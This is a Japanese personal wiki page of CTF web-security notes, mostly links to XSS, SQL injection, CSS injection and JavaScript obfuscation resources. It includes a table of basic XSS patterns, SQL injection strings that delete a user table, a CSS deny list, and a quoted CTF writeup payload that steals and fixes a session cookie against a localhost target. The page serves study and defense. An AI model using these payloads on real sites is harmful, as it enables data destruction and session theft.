プロジェクト

全般

プロフィール

CTF Web » 履歴 » バージョン 1

kanata, 2025/04/13 14:24

1 1 kanata
# CTF Web
2
3
{{toc}}
4
5
[[JavaScript]]も必要に応じて参照すべし
6
7
# Chrome DevTools
8
9
## snippets
10
11
[[JavaScript]]を参照
12
13
## 描画フレーム毎のスクリーンショットを記録/再生する機能
14
15
2015.10.11現在 Canary版のみ
16
17
※オペレーション未確認
18
19
## Canvas Profiles (Canvas API のダンプ、Draw call の可視化、スナップショット)
20
21
※オペレーション未確認
22
23
24
25
26
27
# Cheat Sheets
28
29
## [OWASP Cheat Sheet Series](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series)
30
31
OWASP Cheat Sheets - XSS (Cross Site Scripting) Prevention Cheat Sheet
32
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
33
34
OWASP Cheat Sheets - XSS Filter Evasion Cheat Sheet
35
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
36
37
OWASP Cheat Sheets - SQL Injection Prevention Cheat Sheet
38
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
39
40
## katagaitaiCTF XSS千本ノック
41
42
0x90 - katagaitai CTF勉強会 #9 writeup(Webパート)
43
http://0x90.hatenablog.jp/entry/2017/08/27/201021
44
45
Qiita - XSS千本ノック@katagaitaiCTF勉強会 writeup
46
http://qiita.com/howmuch/items/981a9c85620321c20c69
47
48
HayatoDoi.github.io - katagaitaiCTF xss千本ノック write up
49
https://hayatodoi.github.io/page.html?name=2017-08-28_katagaitaiCTF%20xss%E5%8D%83%E6%9C%AC%E3%83%8E%E3%83%83%E3%82%AF%20write%20up.md
50
51
ななふんのブログ - katagaitai CTF勉強会 #9 XSS千本ノック Writeup
52
http://sec-rookie.hatenablog.com/entry/2017/08/29/015957
53
54
## XSS
55
56
XSS cheat sheet - porswiggerがリリースしたXSSのcheat sheet
57
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
58
59
github masatokinugawa/filterbypass - Browser's XSS Filter Bypass Cheat Sheet
60
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet#2%E3%81%A4%E4%BB%A5%E4%B8%8A%E3%81%AE%E6%B3%A8%E5%85%A5%E3%83%9D%E3%82%A4%E3%83%B3%E3%83%88%E3%81%8C%E3%81%82%E3%82%8B%E5%A0%B4%E5%90%88
61
62
色んなXSS
63
http://nootropic.me/blog/2015/02/16/%E8%89%B2%E3%82%93%E3%81%AAxss/#more-396
64
65
HTML5 Security Cheatsheet
66
https://html5sec.org/
67
68
cure53/HTTPLeaks (HTTPリクエストを発生させるような要素/属性の一覧)
69
https://github.com/cure53/HTTPLeaks
70
71
SHARED ONLINE FUZZING (XSSスキャナーのアウトプットを活用できる)
72
http://shazzer.co.uk
73
74
Probing to Find XSS と WebGunというツール
75
http://brutelogic.com.br/blog/category/xss-building/ http://brutelogic.com.br/webgun/
76
77
Unleashing an Ultimate XSS Polyglot
78
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
79
80
FOOLING THE INTERPRETER - XSS Cheat Sheet
81
http://brutelogic.com.br/blog/cheat-sheet/
82
83
Qiita - 俺的MarkdownにおけるXSS
84
https://qiita.com/Azunyan1111/items/64d23396bcf2213af024
85
86
87
88
89
90
91
### CSSの制限(この属性の制限をしないとJavaScript埋め込まれるかも)
92
93
* expression
94
* behavior / behaviour
95
* moz-binding
96
* include-source
97
* url
98
* absolute
99
* fixed
100
* content
101
* -o-link
102
* AlphaImageLoader
103
* javascript:
104
* vbscript:
105
* data: 
106
107
### リンクの制限(ブラウザでこれを実装している。サーバ側で上手くチェックしてないとすり抜けられる・・・かも)
108
109
* http:
110
* https:
111
* ftp:
112
* mailto:
113
* file:
114
* telnet:
115
* gopher:
116
* news:
117
* wais:
118
119
## SQLインジェクション
120
121
SQL Injection Cheat Sheet
122
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
123
124
Hacoder - SQL Injection Authentication Bypass Cheat Sheet
125
http://www.hacoder.com/2015/10/sql-injection-authentication-bypass-cheat-sheet/
126
127
GracefulSecurity - SQL Injection Cheat Sheet: MySQL
128
https://www.gracefulsecurity.com/category/cheat-sheets/
129
130
GracefulSecurity - SQL Injection Cheat Sheet: MSSQL
131
https://www.gracefulsecurity.com/sql-injection-cheat-sheet-mssql/
132
133
shikata ga nai - SQL injection cheat sheet(1)
134
https://cysec148.hatenablog.com/entry/2019/12/05/123227
135
136
137
138
139
140
# XSS
141
142
| 種類   | パターン      | 例                                                                      | 備考 |
143
|--------|---------------|-------------------------------------------------------------------------|------|
144
| 反射型 | Reflected XSS | ```<html> <body> XSS HERE: <script>alert(1)</script> </body> </html>``` |
145
| 反射型 | 属性内        | ```<html> <body> <input name="q" value=""onmouseover=alert(1)//"> </body> </html>``` |
146
| 反射型 | リンク部分    | ```<html> <body> <a href="javascript:alert(1)">Click</a> </body> </html>``` | Auditorがスルー
147
| 反射型 | 文字列リテラル| ```<body> <script> var q="";alert(1)//"; </script> </body>``` | Auditorがスルー
148
| DOM Based XSS | その1 | ```<body> <script> document.write(location.hash); </script> </body>``` | IEがスルー
149
| DOM Based XSS | その2 | ```<body> <script> document.body.innerHTML=location.hash; </script> </body>``` | IEがスルー,Auditorがスルー
150
| 持続型/蓄積型 | Stored XSS | ```<div id="profile"> <script>alert(1)</script> </div>``` | IEがスルー,Auditorがスルー,NoScript がスルー
151
152
153
SecurityCamp2015「バグハンティング入門」
154
http://www.slideshare.net/masatokinugawa/ss-51723687
155
156
# SQLインジェクション
157
158
http://npnl.hatenablog.jp/entry/20080412/1207965105
159
http://matome.naver.jp/odai/2137849639545516001
160
https://www.nicksecuritylog.com/entry/SQLInjection_basic
161
162
```
163
' OR 'A' = 'A
164
'; DELETE FROM ユーザマスタ WHERE 'A' = 'A
165
'; DELETE FROM ユーザマスタ WHERE 'A' = 'A' --
166
fuga' OR ユーザID = 'admin
167
```
168
169
## SQLインジェクション - 対象DBを判別する
170
171
* 「||」を利用した文字列連結に成功している場合、SQLiteを利用していると判断できる。
172
173
>ex) hogehoge と hoge'||'hoge の結果が同じなら SQLiteです。
174
175
* コメント文字の扱いから判断する。
176
177
>sqlite
178
>>#はコメントにならない(エラーにならない)
179
180
>mysql 
181
>>#はコメントになる(エラーになる)
182
183
184
## よく使うMySQL(MariaDB)コマンド
185
186
対話型インタフェース
187
188
```
189
 SHOW DATABASES; — DBの一覧
190
 USE hogehoge; — hogehogeのDBを参照
191
 SHOW TABLES; — テーブル一覧
192
 SHOW COLUMNS FROM hoge; — hogeテーブルのカラムを表示
193
 SHOW INDEX FROM hoge; — hogeテーブルのインデックスを表示。すべてのクエリに対して LIKE "hoge%"などLIKE句が利用できる
194
 EXPLAIN SELECT * FROM hogehgoe; — "SELECT * FROM hogehgoe"がどのように実行されるのか検証するコマンド
195
196
```
197
198
その他(コマンドインタフェース)
199
200
```
201
$ mysql -hlocalhost -uroot -ppass # -h ホスト -u ユーザー -p パスワード
202
$ mysqldump database > hoge.sql # hoge.aqlファイルにdatabaseのスキーマをダンプする
203
$ mysql database < hoge.sql #hoge.sqlファイルのクエリをdatabase上で実行する
204
```
205
206
## ブラインドSQLインジェクション
207
208
俺的備忘録 〜なんかいろいろ〜 - シェル芸でブラインドSQLインジェクションを行う
209
https://orebibou.com/2019/01/%e3%82%b7%e3%82%a7%e3%83%ab%e8%8a%b8%e3%81%a7%e3%83%96%e3%83%a9%e3%82%a4%e3%83%b3%e3%83%89sql%e3%82%a4%e3%83%b3%e3%82%b8%e3%82%a7%e3%82%af%e3%82%b7%e3%83%a7%e3%83%b3%e3%82%92%e8%a1%8c%e3%81%86/
210
211
## Memo
212
213
参考 T.Teradaの日記 - [セキュリティ]SQL Injectionシグネチャの更新
214
http://d.hatena.ne.jp/teracc/20150507
215
216
217
# CSS Injection
218
219
CSS Injection (+ Recursive Import) の原理と攻撃手法およびその実装について
220
http://szarny.hatenablog.com/entry/2019/10/17/CSS_Injection_%28%2B_Recursive_Import%29_%E3%81%AE%E5%8E%9F%E7%90%86%E3%81%A8%E6%94%BB%E6%92%83%E6%89%8B%E6%B3%95%E3%81%8A%E3%82%88%E3%81%B3%E3%81%9D%E3%81%AE%E5%AE%9F%E8%A3%85%E3%81%AB%E3%81%A4%E3%81%84
221
222
# JavaScript難読化
223
224
## encode方式
225
226
jjencode
227
http://utf-8.jp/public/jjencode.html
228
229
aaencode
230
http://utf-8.jp/public/aaencode.html
231
232
JSFuck
233
http://www.jsfuck.com/
234
235
JavaScript を PNG に圧縮する
236
http://yomotsu.net/blog/2015/03/01/js2png.html
237
238
## decode
239
240
Caffeine Monkey
241
http://kinshachi.ddo.jp/blog/comp/archives/000799.html
242
243
malzilla
244
http://malzilla.sourceforge.net/
245
246
aadecode
247
http://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html
248
249
Monyer Js(jjdecode Base64,MD5,SHA1,UTF7,URI等々の変換ができる)
250
http://monyer.com/demo/monyerjs/
251
252
ESDeobfuscate
253
http://m1el.github.io/esdeobfuscate/
254
255
とりあえず動かしてみるには
256
http://javascripter.hatenablog.com/entry/20090607/1244386028
257
258
```html
259
<html><head><script>
260
261
Object.constructor = function (code) {
262
  alert(Function(code)());
263
};
264
265
// ここに記号化されたプログラムを貼る
266
267
</script></head><body></body></html>
268
```
269
270
難読化された中で何か変数に設定されたか確認するには
271
JavaScriptコンソールで
272
273
```
274
console.dir(window)
275
```
276
277
javascript-visualizer - JavaScriptの実行内容を可視化
278
https://tylermcginnis.com/javascript-visualizer
279
280
# WebAssembly
281
282
WebAssembly Reference Manual
283
https://github.com/sunfishcode/wasm-reference-manual/blob/master/WebAssembly.md
284
285
WebAssembly解いてみる
286
https://xrekkusu.hatenablog.jp/entry/2018/12/12/125052
287
288
WebAssembly テキストフォーマットを理解する
289
https://developer.mozilla.org/ja/docs/WebAssembly/Understanding_the_text_format
290
291
# Study
292
293
こんとろーるしーこんとろーるぶい - 【2019年】CTF Web問題の攻撃手法まとめ (Web問題のwriteupぜんぶ読む)
294
https://graneed.hatenablog.com/entry/2019/12/29/115100
295
296
jhaddix
297
https://github.com/jhaddix [The Bug Hunters Methodology](https://github.com/jhaddix/tbhm)
298
299
> KnowHow満載
300
301
302
303
304
## JavaScriptセキュリティの基礎知識
305
306
JavaScriptセキュリティの基礎知識 第1回 Webセキュリティのおさらい その1
307
http://gihyo.jp/dev/serial/01/javascript-security/0001
308
309
JavaScriptセキュリティの基礎知識 第2回 Webセキュリティのおさらい その2 XSS
310
http://gihyo.jp/dev/serial/01/javascript-security/0002
311
312
JavaScriptセキュリティの基礎知識 第3回 Webセキュリティのおさらい その3 CSRF・オープンリダイレクト・クリックジャッキング
313
http://gihyo.jp/dev/serial/01/javascript-security/0003
314
315
JavaScriptセキュリティの基礎知識 第4回 URLとオリジン
316
http://gihyo.jp/dev/serial/01/javascript-security/0004
317
318
JavaScriptセキュリティの基礎知識 第5回 問題を発生させにくくするURLの扱い方
319
http://gihyo.jp/dev/serial/01/javascript-security/0005
320
321
JavaScriptセキュリティの基礎知識 第6回 DOM-based XSS その1
322
http://gihyo.jp/dev/serial/01/javascript-security/0006
323
324
JavaScriptセキュリティの基礎知識 第7回 DOM-based XSS その2
325
http://gihyo.jp/dev/serial/01/javascript-security/0007
326
327
JavaScriptセキュリティの基礎知識 第8回 DOM-based XSS その3
328
http://gihyo.jp/dev/serial/01/javascript-security/0008
329
330
# Memo
331
332
【2020年】CTF Web問題の攻撃手法まとめ
333
https://graneed.hatenablog.com/entry/2021/08/09/115452
334
335
【2021年】CTF Web問題の攻撃手法まとめ
336
https://graneed.hatenablog.com/entry/2022/09/28/100000
337
338
競技セキュリティまとめのまとめ
339
https://blog.hamayanhamayan.com/entry/2023/02/22/085938
340
341
雑記 - TMCTF Writeup (Analysis Offensive 300)
342
http://icchy.hatenablog.jp/entry/2015/09/28/115402
343
344
nameパラメータに
345
346
~~~html
347
"><scrscriptipt>tmp=document.cookie;
348
document.cookie='PHPSESSID=0ufcvu21seft5sn3l2sllni896';
349
location.href='result.php?name='+tmp</scripscriptt>
350
~~~
351
352
をURLエンコードしたものを渡した以下のURLを用意し,contact.phpのcommentに入力して送信した.
353
354
>蓄積型XSS(Stored XSS)を利用している
355
356
~~~
357
http://localhost:40100/737c08b6f0ea477cb4ce3eb1b8e81a87/contact.php?name=%22%3E%3Cscrscriptipt%3Etmp%3Ddocument.cookie%3B%0D%0Adocument.cookie%3D%27PHPSESSID%3D0ufcvu21seft5sn3l2sllni896%27%3B%0D%0Alocation.href%3D%27result.php%3Fname%3D%27%2Btmp%3C%2Fscripscriptt%3E
358
~~~
359
360
---
361
362
crt.sh Certificate Search (Certificate Transparencyのログに登録されているサブドメインを列挙)
363
https://crt.sh/
364
365
Firing Range
366
http://public-firing-range.appspot.com/
367
368
>Googleが脆弱性スキャナーツールの性能を評価するために作られたWebサイト
369
370
Github cure53/H5SC - Unicode Characters in URLs
371
https://github.com/cure53/H5SC/wiki/Unicode-Characters-in-URLs
372
373
>特殊な文字でも、URLでは適切な文字に変換されるブラウザの仕様
374
375
376
377
~~~
378
₨ resolves to http://rs.org/
379
~~~
380
381
Github - athre0z/wasm
382
https://github.com/athre0z/wasm
383
384
>WebAssembly decoder & disassembler library
385
386
Masato Kinugawa Security Blog - ブラウザのXSS保護機能をバイパスする(14)
387
http://masatokinugawa.l0.cm/2017/05/xss14.html
388
389
Apache HTTP Serverのバージョンを当てる方法
390
https://www.mbsd.jp/blog/20170904.html
391
392
CTFを助けるターミナルテクニック
393
https://www.ryotosaito.com/blog/?p=113
394
395
web FUzz ChecK
396
https://github.com/m---/webfuck
397
398
CTFで出題されたXS-Leaks
399
https://speakerdeck.com/ntomoya/ctfdechu-ti-saretaxs-leaks-a95f5b6a-134d-4537-a104-233ce9b8c56f
400
401
ブラウザ開発者ツールのネットワークタブに表示されない情報送信手法
402
https://qiita.com/satoki/items/f4398327985b830ca23d
403
404
## CSSを利用したキーロギング
405
406
maxchehab/CSS-Keylogging
407
https://github.com/maxchehab/CSS-Keylogging
408
409
>CSS セレクタで form の value を引っ掛けて background プロパティで外部サーバにリクエスト投げれば,JS 使わなくても CSS だけでユーザの入力を盗める